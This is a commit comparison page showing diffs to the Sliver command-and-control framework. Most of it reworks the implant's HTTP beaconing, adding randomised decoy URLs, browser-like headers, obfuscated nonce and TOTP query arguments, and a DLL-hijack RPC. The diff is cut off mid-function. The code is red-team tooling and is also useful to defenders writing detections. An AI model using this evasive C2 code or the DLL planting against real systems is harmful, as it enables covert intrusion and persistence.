Compare commits

..
3 Commits
Author SHA1 Message Date
moloch-- c41e9dead0 Session connects 2021-08-28 17:58:32 -05:00
moloch-- e989ba581b Basic outline of http/otp working 2021-08-28 14:02:26 -05:00
moloch-- 7f9657f32d WIP on otp 2021-08-27 15:26:33 -05:00
108 changed files with 6971 additions and 2560 deletions

No files matched your search

+2 -2
View File
@@ -24,7 +24,7 @@ import (
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
@@ -78,7 +78,7 @@ func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl := make(chan bool)
msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
con.SpinUntil(msg, ctrl)
_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
ReferenceDLLPath: referencePath,
TargetLocation: targetPath,
ReferenceDLL: localRefData,
+3 -3
View File
@@ -217,15 +217,15 @@ GEM
rb-fsevent (~> 0.10, >= 0.10.3)
rb-inotify (~> 0.9, >= 0.9.10)
mercenary (0.3.6)
mini_portile2 (2.6.1)
mini_portile2 (2.5.3)
minima (2.5.1)
jekyll (>= 3.5, < 5.0)
jekyll-feed (~> 0.9)
jekyll-seo-tag (~> 2.1)
minitest (5.14.4)
multipart-post (2.1.1)
nokogiri (1.12.5)
mini_portile2 (~> 2.6.1)
nokogiri (1.11.7)
mini_portile2 (~> 2.5.0)
racc (~> 1.4)
octokit (4.21.0)
faraday (>= 0.9)
+4 -2
View File
@@ -33,6 +33,7 @@ require (
github.com/mattn/go-sqlite3 v1.14.5
github.com/miekg/dns v1.1.35
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
github.com/pquerna/otp v1.3.0
github.com/sergi/go-diff v1.1.0 // indirect
github.com/sirupsen/logrus v1.7.0
github.com/spf13/cobra v1.1.1
@@ -50,7 +51,7 @@ require (
gorm.io/driver/mysql v1.0.3
gorm.io/driver/postgres v1.0.5
gorm.io/driver/sqlite v1.1.3
gorm.io/gorm v1.20.6
gorm.io/gorm v1.21.14
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
)
@@ -58,6 +59,7 @@ require (
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
github.com/VividCortex/ewma v1.1.1 // indirect
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc // indirect
github.com/danwakefield/fnmatch v0.0.0-20160403171240-cbb64ac3d964 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/demisto/goxforce v0.0.0-20160322194047-db8357535b1d // indirect
@@ -78,7 +80,7 @@ require (
github.com/jackc/pgtype v1.5.0 // indirect
github.com/jackc/pgx/v4 v4.9.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
github.com/jinzhu/now v1.1.1 // indirect
github.com/jinzhu/now v1.1.2 // indirect
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
github.com/mattn/go-colorable v0.1.8 // indirect
github.com/mattn/go-runewidth v0.0.7 // indirect
+8
View File
@@ -57,6 +57,8 @@ github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc h1:biVzkmvwrH8WK8raXaxBx6fRVTlJILwEwQGL1I/ByEI=
github.com/boombuler/barcode v1.0.1-0.20190219062509-6c824513bacc/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/cheggaaa/pb/v3 v3.0.5 h1:lmZOti7CraK9RSjzExsY53+WWfub9Qv13B5m4ptEoPE=
@@ -266,6 +268,8 @@ github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD
github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc=
github.com/jinzhu/now v1.1.1 h1:g39TucaRWyV3dwDO++eEc6qf8TVIQ/Da48WmqjZ3i7E=
github.com/jinzhu/now v1.1.1/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jinzhu/now v1.1.2 h1:eVKgfIdy9b6zbWBMgFpfDPoAMifwSZagU9HmEU6zgiI=
github.com/jinzhu/now v1.1.2/go.mod h1:d3SSVoowX0Lcu0IBviAWJpolVfI5UJVZZ7cO71lE/z8=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/jsimonetti/rtnetlink v0.0.0-20190606172950-9527aa82566a/go.mod h1:Oz+70psSo5OFh8DBl0Zv2ACw7Esh6pPUphlvZG9x7uw=
github.com/jsimonetti/rtnetlink v0.0.0-20200117123717-f846d4f6c1f4/go.mod h1:WGuG/smIU4J/54PblvSbh+xvCZmpJnFgr3ds6Z55XMQ=
@@ -360,6 +364,8 @@ github.com/pkg/errors v0.9.1/go.mod h1:bwawxfHBFNV+L2hUp1rHADufV3IMtnDRdf1r5NINE
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/posener/complete v1.1.1/go.mod h1:em0nMJCgc9GFtwrmVmEMR/ZL6WyhyjMBndrE9hABlRI=
github.com/pquerna/otp v1.3.0 h1:oJV/SkzR33anKXwQU3Of42rL4wbrffP4uvUf1SvS5Xs=
github.com/pquerna/otp v1.3.0/go.mod h1:dkJfzwRKNiegxyNb54X/3fLwhCynbMspSyWKnvi1AEg=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v0.9.3/go.mod h1:/TN21ttK/J9q6uSwhBd54HahCDft0ttaMvbicHlPoso=
github.com/prometheus/client_model v0.0.0-20180712105110-5c3871d89910/go.mod h1:MbSGuTsp3dbXC40dX6PRTWyKYBIrTGTE9sqQNg2J8bo=
@@ -683,6 +689,8 @@ gorm.io/gorm v1.20.1/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.4/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.20.6 h1:qa7tC1WcU+DBI/ZKMxvXy1FcrlGsvxlaKufHrT2qQ08=
gorm.io/gorm v1.20.6/go.mod h1:0HFTzE/SqkGTzK6TlDPPQbAYCluiVvhzoA1+aVyzenw=
gorm.io/gorm v1.21.14 h1:NAR9A/3SoyiPVHouW/rlpMUZvuQZ6Z6UYGz+2tosSQo=
gorm.io/gorm v1.21.14/go.mod h1:F+OptMscr0P2F2qU97WT1WimdH9GaQPoDW7AYd5i2Y0=
honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4=
+1
View File
@@ -14,4 +14,5 @@ require (
inet.af/netstack v0.0.0-20210317161235-a1bf4e56ef22
golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e
golang.org/x/sys v0.0.0-20210616094352-59db8d763f22 // indirect
github.com/pquerna/otp v1.3.0
)
+15
View File
@@ -69,6 +69,21 @@ func RandomEncoder() (int, Encoder) {
return nonce, EncoderMap[encoderID]
}
// RandomTxtEncoder - Get a random nonce identifier and a matching encoder
func RandomTxtEncoder() (int, Encoder) {
textEncoders := map[int]Encoder{
EnglishEncoderID: English{},
Base64EncoderID: Base64{},
}
keys := make([]int, 0, len(textEncoders))
for k := range textEncoders {
keys = append(keys, k)
}
encoderID := keys[insecureRand.Intn(len(keys))]
nonce := (insecureRand.Intn(maxN) * EncoderModulus) + encoderID
return nonce, textEncoders[encoderID]
}
// NopNonce - A NOP nonce identifies a request with no encoder/payload
// any value where mod = 0
func NopNonce() int {
+2 -1
View File
@@ -257,7 +257,7 @@ func getRegisterSliver() *sliverpb.Envelope {
filename, err := os.Executable()
// Should not happen, but still...
if err != nil {
//TODO: build the absolute path to os.Args[0]
// TODO: build the absolute path to os.Args[0]
if 0 < len(os.Args) {
filename = os.Args[0]
} else {
@@ -287,6 +287,7 @@ func getRegisterSliver() *sliverpb.Envelope {
ReconnectInterval: uint32(transports.GetReconnectInterval() / time.Second),
ProxyURL: transports.GetProxyURL(),
PollInterval: uint32(transports.GetPollInterval() / time.Second),
ConfigID: "{{ .Config.ID }}",
})
if err != nil {
// {{if .Config.Debug}}
+162 -46
View File
@@ -23,7 +23,7 @@ package transports
// Procedural C2
// ===============
// .txt = rsakey
// .jsp = init
// .png = init
// .php = session
// .js = poll
@@ -53,15 +53,23 @@ import (
"github.com/bishopfox/sliver/implant/sliver/encoders"
"github.com/bishopfox/sliver/implant/sliver/proxy"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
"google.golang.org/protobuf/proto"
)
const (
defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
userAgent = "{{GenerateUserAgent}}"
defaultNetTimeout = time.Second * 60
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
nonceQueryArgs = "abcdefghijklmnopqrstuvwxyz_"
acceptHeaderValue = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
)
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// HTTPStartSession - Attempts to start a session with a given address
func HTTPStartSession(address string, pathPrefix string) (*SliverHTTPClient, error) {
var client *SliverHTTPClient
@@ -119,23 +127,62 @@ func (s *SliverHTTPClient) SessionInit() error {
return nil
}
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, encoderNonce int, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri, body)
req.Header.Set("User-Agent", defaultUserAgent)
req.Header.Set("Accept-Language", "en-US")
query := req.URL.Query()
query.Set("_", fmt.Sprintf("%d", encoderNonce))
req.URL.RawQuery = query.Encode()
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", acceptHeaderValue)
}
if uri.Scheme == "http" {
req.Header.Set("Upgrade-Insecure-Requests", "1")
}
return req
}
func (s *SliverHTTPClient) nonceQueryArgument(uri *url.URL, value int) *url.URL {
values := uri.Query()
key := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
// {{if .Config.Debug}}
log.Printf("Encoder nonce %d", value)
// {{end}}
argValue := fmt.Sprintf("%d", value)
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(argValue))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
argValue = argValue[:index] + char + argValue[index:]
}
values.Add(string(key), argValue)
uri.RawQuery = values.Encode()
return uri
}
func (s *SliverHTTPClient) otpQueryArgument(uri *url.URL, value string) *url.URL {
values := uri.Query()
key1 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
key2 := nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))]
for i := 0; i < insecureRand.Intn(3); i++ {
index := insecureRand.Intn(len(value))
char := string(nonceQueryArgs[insecureRand.Intn(len(nonceQueryArgs))])
value = value[:index] + char + value[index:]
}
values.Add(string([]byte{key1, key2}), value)
uri.RawQuery = values.Encode()
return uri
}
func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
uri := s.txtURL()
nonce, encoder := encoders.RandomTxtEncoder()
s.nonceQueryArgument(uri, nonce)
otpCode := getOTPCode()
s.otpQueryArgument(uri, otpCode)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
nonce, encoder := encoders.RandomEncoder()
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
@@ -180,22 +227,19 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
// We do our own POST here because the server doesn't have the
// session key yet.
func (s *SliverHTTPClient) getSessionID(sessionInit []byte) error {
nonce, encoder := encoders.RandomEncoder()
// {{if .Config.Debug}}
log.Printf("[http] sessionInit = %v", sessionInit)
// {{end}}
payload := encoder.Encode(sessionInit)
// {{if .Config.Debug}}
log.Printf("[http] Encoded payload (%d) %v", nonce, payload)
// {{end}}
reqBody := bytes.NewReader(payload) // Already RSA encrypted
uri := s.jspURL()
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reqBody)
uri := s.phtmlURL()
s.nonceQueryArgument(uri, nonce)
otpCode := getOTPCode()
s.otpQueryArgument(uri, otpCode)
req := s.newHTTPRequest(http.MethodPost, uri, reqBody)
// {{if .Config.Debug}}
log.Printf("[http] POST -> %s", uri)
// {{end}}
resp, err := s.Client.Do(req)
if err != nil {
return err
@@ -227,7 +271,8 @@ func (s *SliverHTTPClient) Poll() ([]byte, error) {
}
uri := s.jsURL()
nonce, encoder := encoders.RandomEncoder()
req := s.newHTTPRequest(http.MethodGet, uri, nonce, nil)
s.nonceQueryArgument(uri, nonce)
req := s.newHTTPRequest(http.MethodGet, uri, nil)
// {{if .Config.Debug}}
log.Printf("[http] GET -> %s", uri)
// {{end}}
@@ -269,13 +314,16 @@ func (s *SliverHTTPClient) Send(data []byte) error {
}
reqData, err := GCMEncrypt(*s.SessionKey, data)
nonce, encoder := encoders.RandomEncoder()
reader := bytes.NewReader(encoder.Encode(reqData))
uri := s.phpURL()
nonce, encoder := encoders.RandomEncoder()
s.nonceQueryArgument(uri, nonce)
reader := bytes.NewReader(encoder.Encode(reqData))
// {{if .Config.Debug}}
log.Printf("[http] POST -> %s", uri)
// {{end}}
req := s.newHTTPRequest(http.MethodPost, uri, nonce, reader)
req := s.newHTTPRequest(http.MethodPost, uri, reader)
resp, err := s.Client.Do(req)
if err != nil {
// {{if .Config.Debug}}
@@ -299,44 +347,97 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
return strings.Join(segments, "/")
}
func (s *SliverHTTPClient) jsURL() string {
// Procedural C2
// ===============
// .txt = rsakey
// .php = start / session
// .js = poll
// .png = stop
// .woff = sliver shellcode
func (s *SliverHTTPClient) jsURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"js", "static", "assets", "dist", "javascript"}
filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
segments := []string{
// {{range .HTTPC2Config.JsPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.JsFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
return curl
}
func (s *SliverHTTPClient) jspURL() string {
func (s *SliverHTTPClient) pngURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"app", "admin", "upload", "actions", "api"}
filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
segments := []string{
// {{range .HTTPC2Config.PngPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.PngFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
return curl
}
func (s *SliverHTTPClient) phpURL() string {
func (s *SliverHTTPClient) phpURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{"api", "rest", "drupal", "wordpress"}
filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
segments := []string{
// {{range .HTTPC2Config.PhpPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.PhpFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
return curl
}
func (s *SliverHTTPClient) txtURL() string {
curl, _ := url.Parse(s.Origin)
segments := []string{"static", "www", "assets", "text", "docs", "sample"}
filenames := []string{"robots.txt", "sample.txt", "info.txt", "example.txt"}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl.String()
func (s *SliverHTTPClient) phtmlURL() *url.URL {
curl := s.phpURL()
curl, _ = url.Parse(strings.Replace(curl.String(), ".php", ".phtml", 1))
return curl
}
func (s *SliverHTTPClient) txtURL() *url.URL {
curl, _ := url.Parse(s.Origin)
segments := []string{
// {{range .HTTPC2Config.TxtPaths}}
"{{.}}",
// {{end}}
}
filenames := []string{
// {{range .HTTPC2Config.TxtFiles}}
"{{.}}",
// {{end}}
}
curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
return curl
}
// Must return at least a file name, path segments are optional
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string) []string {
n := insecureRand.Intn(2) // How many segments?
genSegments := []string{}
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
if 0 < len(segments) {
n := insecureRand.Intn(len(segments)) // How many segments?
for index := 0; index < n; index++ {
seg := segments[insecureRand.Intn(len(segments))]
genSegments = append(genSegments, seg)
}
}
filename := filenames[insecureRand.Intn(len(filenames))]
genSegments = append(genSegments, filename)
@@ -450,4 +551,19 @@ func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
return jar.cookies
}
func getOTPCode() string {
now := time.Now().UTC()
opts := totp.ValidateOpts{
Digits: 8,
Algorithm: otp.AlgorithmSHA256,
Period: uint(30),
Skew: uint(1),
}
code, _ := totp.GenerateCodeCustom("{{ .OTPSecret }}", now, opts)
// {{if .Config.Debug}}
log.Printf("HTTP(S) TOTP Code: %s", code)
// {{end}}
return code
}
// {{end}} -HTTPc2Enabled
File diff suppressed because it is too large. Load diff
+2 -14
View File
@@ -59,6 +59,8 @@ enum OutputFormat {
}
message ImplantConfig {
string ID = 100;
string GOOS = 1;
string GOARCH = 2;
string Name = 3;
@@ -367,20 +369,6 @@ message MigrateReq {
commonpb.Request Request = 9;
}
message DllHijackReq {
string ReferenceDLLPath = 1;
string TargetLocation = 2;
bytes ReferenceDLL = 3;
bytes TargetDLL = 4;
string ProfileName = 5;
commonpb.Request Request = 9;
}
message DllHijack {
commonpb.Response Response = 9;
}
// [ Tunnels ] ----------------------------------------
message CreateTunnelReq {
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc v3.17.3
// source: commonpb/common.proto
package commonpb
+8 -8
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.15.8
// protoc v3.17.3
// source: rpcpb/services.proto
package rpcpb
@@ -339,9 +339,9 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x14,
0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x53, 0x48, 0x43, 0x6f, 0x6d,
0x6d, 0x61, 0x6e, 0x64, 0x12, 0x38, 0x0a, 0x09, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x44, 0x4c,
0x4c, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c,
0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65,
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35,
0x4c, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c,
0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76,
0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x12, 0x35,
0x0a, 0x08, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69,
0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74, 0x50, 0x72, 0x69, 0x76, 0x73, 0x52, 0x65,
0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x74,
@@ -462,7 +462,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.RegistrySubKeyListReq)(nil), // 60: sliverpb.RegistrySubKeyListReq
(*sliverpb.RegistryListValuesReq)(nil), // 61: sliverpb.RegistryListValuesReq
(*sliverpb.SSHCommandReq)(nil), // 62: sliverpb.SSHCommandReq
(*clientpb.DllHijackReq)(nil), // 63: clientpb.DllHijackReq
(*sliverpb.DllHijackReq)(nil), // 63: sliverpb.DllHijackReq
(*sliverpb.GetPrivsReq)(nil), // 64: sliverpb.GetPrivsReq
(*sliverpb.WGPortForwardStartReq)(nil), // 65: sliverpb.WGPortForwardStartReq
(*sliverpb.WGPortForwardStopReq)(nil), // 66: sliverpb.WGPortForwardStopReq
@@ -534,7 +534,7 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
(*sliverpb.RegistrySubKeyList)(nil), // 132: sliverpb.RegistrySubKeyList
(*sliverpb.RegistryValuesList)(nil), // 133: sliverpb.RegistryValuesList
(*sliverpb.SSHCommand)(nil), // 134: sliverpb.SSHCommand
(*clientpb.DllHijack)(nil), // 135: clientpb.DllHijack
(*sliverpb.DllHijack)(nil), // 135: sliverpb.DllHijack
(*sliverpb.GetPrivs)(nil), // 136: sliverpb.GetPrivs
(*sliverpb.WGPortForward)(nil), // 137: sliverpb.WGPortForward
(*sliverpb.WGSocks)(nil), // 138: sliverpb.WGSocks
@@ -630,7 +630,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
60, // 82: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
61, // 83: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
62, // 84: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
63, // 85: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
63, // 85: rpcpb.SliverRPC.HijackDLL:input_type -> sliverpb.DllHijackReq
64, // 86: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
65, // 87: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
66, // 88: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
@@ -729,7 +729,7 @@ var file_rpcpb_services_proto_depIdxs = []int32{
132, // 181: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
133, // 182: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
134, // 183: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
135, // 184: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
135, // 184: rpcpb.SliverRPC.HijackDLL:output_type -> sliverpb.DllHijack
136, // 185: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
137, // 186: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
137, // 187: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
+1 -1
View File
@@ -115,7 +115,7 @@ service SliverRPC {
rpc RegistryListSubKeys(sliverpb.RegistrySubKeyListReq) returns (sliverpb.RegistrySubKeyList);
rpc RegistryListValues(sliverpb.RegistryListValuesReq) returns (sliverpb.RegistryValuesList);
rpc RunSSHCommand(sliverpb.SSHCommandReq) returns (sliverpb.SSHCommand);
rpc HijackDLL(clientpb.DllHijackReq) returns (clientpb.DllHijack);
rpc HijackDLL(sliverpb.DllHijackReq) returns (sliverpb.DllHijack);
rpc GetPrivs(sliverpb.GetPrivsReq) returns (sliverpb.GetPrivs);
// *** Wireguard Specific ***
+7 -7
View File
@@ -117,7 +117,7 @@ type SliverRPCClient interface {
RegistryListSubKeys(ctx context.Context, in *sliverpb.RegistrySubKeyListReq, opts ...grpc.CallOption) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(ctx context.Context, in *sliverpb.RegistryListValuesReq, opts ...grpc.CallOption) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(ctx context.Context, in *sliverpb.SSHCommandReq, opts ...grpc.CallOption) (*sliverpb.SSHCommand, error)
HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error)
HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error)
GetPrivs(ctx context.Context, in *sliverpb.GetPrivsReq, opts ...grpc.CallOption) (*sliverpb.GetPrivs, error)
// *** Wireguard Specific ***
WGStartPortForward(ctx context.Context, in *sliverpb.WGPortForwardStartReq, opts ...grpc.CallOption) (*sliverpb.WGPortForward, error)
@@ -910,8 +910,8 @@ func (c *sliverRPCClient) RunSSHCommand(ctx context.Context, in *sliverpb.SSHCom
return out, nil
}
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *clientpb.DllHijackReq, opts ...grpc.CallOption) (*clientpb.DllHijack, error) {
out := new(clientpb.DllHijack)
func (c *sliverRPCClient) HijackDLL(ctx context.Context, in *sliverpb.DllHijackReq, opts ...grpc.CallOption) (*sliverpb.DllHijack, error) {
out := new(sliverpb.DllHijack)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/HijackDLL", in, out, opts...)
if err != nil {
return nil, err
@@ -1181,7 +1181,7 @@ type SliverRPCServer interface {
RegistryListSubKeys(context.Context, *sliverpb.RegistrySubKeyListReq) (*sliverpb.RegistrySubKeyList, error)
RegistryListValues(context.Context, *sliverpb.RegistryListValuesReq) (*sliverpb.RegistryValuesList, error)
RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error)
HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error)
HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error)
GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error)
// *** Wireguard Specific ***
WGStartPortForward(context.Context, *sliverpb.WGPortForwardStartReq) (*sliverpb.WGPortForward, error)
@@ -1461,7 +1461,7 @@ func (UnimplementedSliverRPCServer) RegistryListValues(context.Context, *sliverp
func (UnimplementedSliverRPCServer) RunSSHCommand(context.Context, *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
return nil, status.Errorf(codes.Unimplemented, "method RunSSHCommand not implemented")
}
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *clientpb.DllHijackReq) (*clientpb.DllHijack, error) {
func (UnimplementedSliverRPCServer) HijackDLL(context.Context, *sliverpb.DllHijackReq) (*sliverpb.DllHijack, error) {
return nil, status.Errorf(codes.Unimplemented, "method HijackDLL not implemented")
}
func (UnimplementedSliverRPCServer) GetPrivs(context.Context, *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
@@ -3047,7 +3047,7 @@ func _SliverRPC_RunSSHCommand_Handler(srv interface{}, ctx context.Context, dec
}
func _SliverRPC_HijackDLL_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(clientpb.DllHijackReq)
in := new(sliverpb.DllHijackReq)
if err := dec(in); err != nil {
